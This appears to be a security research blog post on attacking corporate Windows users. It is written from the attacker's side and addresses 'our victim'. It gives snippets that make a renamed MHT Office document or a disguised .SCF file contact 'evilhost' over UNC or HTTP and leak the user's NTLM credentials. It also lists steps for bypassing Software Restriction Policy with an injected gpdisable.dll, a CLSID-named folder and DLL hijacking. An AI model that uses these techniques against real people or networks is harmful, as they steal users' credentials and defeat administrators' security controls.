Attacks on corporate users

Vulnerability in MS Office’s documents

As it was written in last blog post, we can create crafted Office’s document and send it to users (via e-mail for example). When a user opens it, an office program tries to connect our server and give us user’s credential.

Such situation is available because:
1)Almost all MS Office programs have capability to read “html”-file or “mht”-file*.
2)MS Office’s documents can be saved as “html”-file or “mht”-file* without loss of document’s formatting.
3)MS Office programs detect how to parse and process a document by it’s content, not by file extension.

*“mht”-file - MHTML, short for MIME HTML, is a web page archive format.

Thereby, we should do next sequence for creating crafted MS Office’s document.
We save any office document as “html”-file or “mht”-file. The second is better because there will be created only one file which contains all parts of the documents.
Then we change (or create) “HREF” attribute of “LINK rel=stylesheet” element from default value to a link to our server. Then we rename the file to a normal office document extension (doc for example). A crafted document is ready. The method is very simple as we can see.

Example of code:

    <link rel=stylesheet href=”\\evilhost\test”>

I want to mark out next interesting features.
Office programs understand “HREF” attribute both with a UNC path (\\evilhost\test) and with a HTTP path (http://evilhost/test). So we can catch user’s credentials via HTTP with NTLM.
MS Office programs show an attention to our victim if it couldn’t download content from a remote resource. This isn’t good. So we should put a document which we created for a victim on our shared resource. And when MS Office program opens a crafted document, it takes style sheet from our shared resource and doesn’t show an attention to a victim.


Windows Explorer and shared resources
In addition to the last blog post, we have found some specified files, which can give us necessary UNC-request from a user without attention to him.

- Autorun.inf
All of us know about “autorun.inf” and problems which it gives to common users via many kinds of viruses. Thereby, there are interesting things: autorun.inf can cause UNC-request by Explorer and it works with a Mapped Network Drives. But a last patch for Windows OS disables the Autorun functionality.

- .SCF file - Explorer Shell Command File.
This is a special file type, which contains commands for Windows Explorer. The example of such file is “ToggleDesktop” button. But information about all commands and all capabilities of the file type is not available. But this file extension “is one of the special ones that remains hidden even if you instruct Windows to show file extensions”.

For our purpose we can create or use any file, add next code to it and add “.SCF” to file extension. An original file extension will be shown to a user, but Explorer will see .scf and perform all the commands in that are in this file. Explorer gives user’s credential when user

looks at folder with such .scf file.

    [shell]
    Command=2
    IconFile=\\evilhost\test
    [TaskBar]
    Command=Explorer

Steps to bypass SRP in Different OS

Steps to bypass SRP for XP:

Below are the steps which are useful to bypass SRP in XP operating systerm -

1. rename gpdisable.dll to deskpan.dll;
2. create a new folder and name it as files.{42071714-76d4-11d1-8b24-00a0c9068ff3};
3. place deskpan.dll to the new folder;
4. open the folder;
5. create a new rich text document in the folder;
6. double-click the rich-text document.
7. Wordpad runs with gpdisable.dll
8. Bypassed :) We can run any process.

There are similar steps for Windows Vista/7 and others.
In addition, all that steps we can do from “Open” or “Save As” dialogue, that can be useful for Citrix systems.

Universal way to bypass Group Policy by Limited User

Group policy is a powerful feature of Windows OS.

From wiki: “Group Policy is a set of rules which control the working environment of user accounts and computer accounts. Group Policy provides the centralized management and configuration of operating systems, applications and users' settings in an Active Directory environment“

For example, it can block users’ access to Regedit or IE proxy changing. So it is additional limits for users, besides file system and other permissions.
One of the main parts of Group Policy is represented by Software Restriction Policy (SRP). Administrator can set a little list of software which can be run by limited user with SRP.
Therefore, SRP can level up security of whole system by restricting user’s rights.

How does it work?
When a user launches a process it’s the parent process that checks SRP to see if the execution of the child should be allowed or blocked. The parent process uses NtQueryValueKey to query the Registry value HKLM\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\TransparentEnabled, which if present and non-zero indicates that SRP is turned on.

How can we bypass it?
There are few different.
Their main idea is that SRP check is situated in user space. A parent process is owned by a limited user. Therefore, a user can bypass SRP by different memory manipulations.

Attack!
Marc Russinovich posted a great tool – Gpdisable and a good explanation of SRP on his blog. Gpdisable is now unavailable, but it can be found in Internet
Gpdisable uses dll-injection techniques, to inject into a parent process memory. Then “it fools the SRP code by returning an error value”, when SRP tries to query TransparentEnabled. Therefore, a parent process can run any other process.

Problem.
Gpdisable consists of 2 files – gpdisable.exe and gpdisable.dll.
gpdisable.exe – inject DLL into process.
gpdisable.dll – DLL for bypassing SRP.
But in real life, there is a problem - to inject gpdisable.dll. Because in a good restricted system a user has access to run only software from white list. So you should run gpdisable.exe, but you don’t have right to do it.


Real Attack!
When I read about binary planting, I’ve got an idea how we can inject gpdisable.dll in process. It’s simple – dll-hijacking. But almost all big software (like MS Word, Excel and Notepad :) doesn’t have such vulnerabilities. That’s bad.But if we use "advanced" dll-hijacking (COM server-based binary planting), we can do it almost of all software. I won’t retell an idea of such binary planting, but you can get it from Acros Security Blog.

About us

We accept sponsored advertising, paid post and sponsored links on this Digital Security Research Group blog. We write genuine paid and free reviews that are true to our knowledge. Even though we receive compensation for sponsored posts or paid advertisements, we always give our honest opinions, findings, beliefs, or experiences on those topics or products.

Terms & Conditions

This blog is not used for the resell purpose. This blog provides information on Computers, Software, SEO and other concern topics.

The owner of this blog does not accept any responsibility for errors in the information. It is the complete responsibility of the visitor to check the information of any posting as information may change and as errors may occur on this Blog.